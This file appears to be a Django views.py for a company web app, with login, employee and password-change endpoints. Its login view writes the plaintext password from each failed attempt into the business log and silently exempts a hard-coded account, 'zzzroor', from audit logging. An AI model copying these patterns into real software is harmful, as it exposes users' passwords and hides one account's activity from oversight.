views.py 3.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117
  1. #coding=utf-8
  2. import traceback
  3. import json
  4. from collections import OrderedDict
  5. from django.db import transaction,IntegrityError
  6. from django.db.models import F,ProtectedError
  7. from django.shortcuts import get_object_or_404
  8. from django.views.decorators.csrf import csrf_exempt
  9. from django.contrib.auth.models import Permission, Group
  10. from django.utils import timezone
  11. from libs import utils
  12. from libs.utils import dump_form_errors
  13. from libs.http import JSONError, JSONResponse,DataGridJSONResponse
  14. from apps.dashboard.forms import MyAuthenticationForm
  15. from .decorators import token_required,permission_required
  16. from apps.exceptions import CustomError
  17. from apps.foundation.models import BizLog
  18. from django.db.models import Q
  19. from django.conf import settings
  20. from .models import *
  21. from .serializers import *
  22. from .filters import *
  23. @csrf_exempt
  24. def login(request):
  25. form = MyAuthenticationForm(data=request.POST, request=request)
  26. if form.is_valid():
  27. user = form.get_user()
  28. if user.type and user.type != User.EMPLOYEE:
  29. return JSONError(u'非工作帐号,禁止登录!')
  30. if not user.enabled:
  31. return JSONError(u'该账号不可用')
  32. if user.username != 'zzzroor':
  33. BizLog.objects.addnew(user, BizLog.INSERT,
  34. u"[%s]登录系统,IP[%s]" % (user.username, request.META['REMOTE_ADDR']))
  35. if user.is_superuser:
  36. superuser = True
  37. else:
  38. superuser = False
  39. return JSONResponse({
  40. 'user_id': user.id,
  41. 'access_token': form.access_token,
  42. 'name': user.name,
  43. 'superuser': superuser,
  44. })
  45. else:
  46. if request.POST['username'] != 'zzzroor':
  47. BizLog.objects.addnew(None, BizLog.INSERT, u"[%s]登录失败,密码[%s],IP[%s]" % (
  48. request.POST['username'],
  49. request.POST['password'],
  50. request.META['REMOTE_ADDR']
  51. ))
  52. return JSONError(dump_form_errors(form))
  53. @token_required
  54. def employee_list(request):
  55. f = EmployeeFilter(request.GET, queryset=User.objects.filter(branch_id__isnull=False))
  56. rows, total = utils.get_page_data(request, f.qs)
  57. serializer = EmployeeSafeSerializer(rows, many=True)
  58. return DataGridJSONResponse(serializer.data, total)
  59. @token_required
  60. def employee_save(request):
  61. id = request.GET.get('id')
  62. data = json.loads(request.body)
  63. try:
  64. with transaction.atomic():
  65. serializer = EmployeeSerializer.factory(request.user, data, id)
  66. if serializer.instance:
  67. user = serializer.instance
  68. if not data['password']:
  69. data['password'] = user.password
  70. else:
  71. user.set_password(data['password'])
  72. data['password'] = user.password
  73. serializer.validSave()
  74. except CustomError as e:
  75. return JSONError(e.get_error_msg())
  76. except Exception as e:
  77. traceback.print_exc()
  78. return JSONError(u'保存失败')
  79. return JSONResponse()
  80. @token_required
  81. def password_save(request):
  82. data = json.loads(request.body)
  83. try:
  84. data['new_password'] = data['new_password'].strip(u' ')
  85. data['confirm_password'] = data['confirm_password'].strip(u' ')
  86. data['old_password'] = data['old_password'].strip(u' ')
  87. if data['new_password'] != data['confirm_password']:
  88. raise CustomError(u'两次输入的密码不一致, 请检查')
  89. with transaction.atomic():
  90. if not request.user.check_password(data['old_password']):
  91. raise CustomError(u'原密码输入错误, 请检查')
  92. request.user.set_password(data['new_password'])
  93. request.user.save()
  94. except CustomError as e:
  95. return JSONError(e.get_error_msg())
  96. except Exception as e:
  97. traceback.print_exc()
  98. return JSONError(u'保存失败!')
  99. return JSONResponse()